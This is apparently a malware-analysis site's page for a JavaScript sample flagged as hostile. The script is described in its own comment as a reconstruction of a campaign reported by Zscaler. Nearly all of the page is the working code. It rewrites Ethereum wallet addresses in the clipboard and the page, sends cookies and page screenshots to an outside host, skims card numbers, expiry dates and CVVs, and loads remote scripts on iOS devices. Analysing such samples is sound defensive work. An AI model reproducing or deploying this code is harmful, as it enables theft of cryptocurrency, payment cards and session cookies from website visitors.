Hostile 99% javascript Download

track-reconstructed.js

Browser DOM rewrites cryptocurrency wallet addressesBrowser cookie sent in fetch POST body
SHA-256c938ce6399a2ec72d255ddd51d35d4d5041d02d3b1634bc10689a77abd24807e

Evidence

Browser cookie sent in fetch POST body lines 1–45
1// Behavioral reconstruction from the Zscaler article, not recovered campaign bytes.
2const sink = 'https://1688360.cc/';
3const destinations = {eth:'0xC4026b06D82b0F0B363eda0642D61CfbDc17884e'};
4const patterns = {eth:/0x[a-fA-F0-9]{40}/g};
5function rewrite(value) {
6 return value.replace(patterns.eth, () => destinations.eth);
7}
8document.addEventListener('copy', event => {
9 const selected = window.getSelection().toString();
10 event.clipboardData.setData('text/plain', rewrite(selected));
11 event.preventDefault();
12});
13new MutationObserver(() => {
14 const walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT);
15 let node;
16 while ((node = walker.nextNode())) {
17 const before = node.nodeValue;
18 const after = rewrite(before);
19 if (after !== before && node.parentElement.getBoundingClientRect().width > 0) {
20 node.nodeValue = after;
21 html2canvas(document.body).then(canvas => {
22 fetch(sink + 'hit.php', {method:'POST', body:JSON.stringify({
23 url:location.href, cookie:document.cookie, original:before, image:canvas.toDataURL()
24 })});
25 });
26 }
27 }
28}).observe(document.body, {childList:true, subtree:true, characterData:true});
29document.addEventListener('input', event => {
30 if (!event.target.matches('input, textarea')) return;
31 const number = document.querySelector('[name="cardnumber"]').value;
32 const expiry = document.querySelector('[name="expiry"]').value;
33 const cvv = document.querySelector('[name="cvv"]').value;
34 fetch(sink + 'card.php', {method:'POST', body:JSON.stringify({number, expiry, cvv})});
35});
36if (/iPhone|iPad/.test(navigator.userAgent)) {
37 for (const host of ['5vobauua3ojpklx.icu', 'eil786npto9u5bq.icu']) {
38 const loader = document.createElement('script');
39 loader.setAttribute('data-channel-code', 'JIUJIU888');
40 loader.setAttribute('data-chain-url', 'https://ios-hack.icu/');
41 loader.setAttribute('data-cfasync', 'false');
42 loader.src = 'https://' + host + '/boot.js';
43 document.head.appendChild(loader);
44 }
45}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.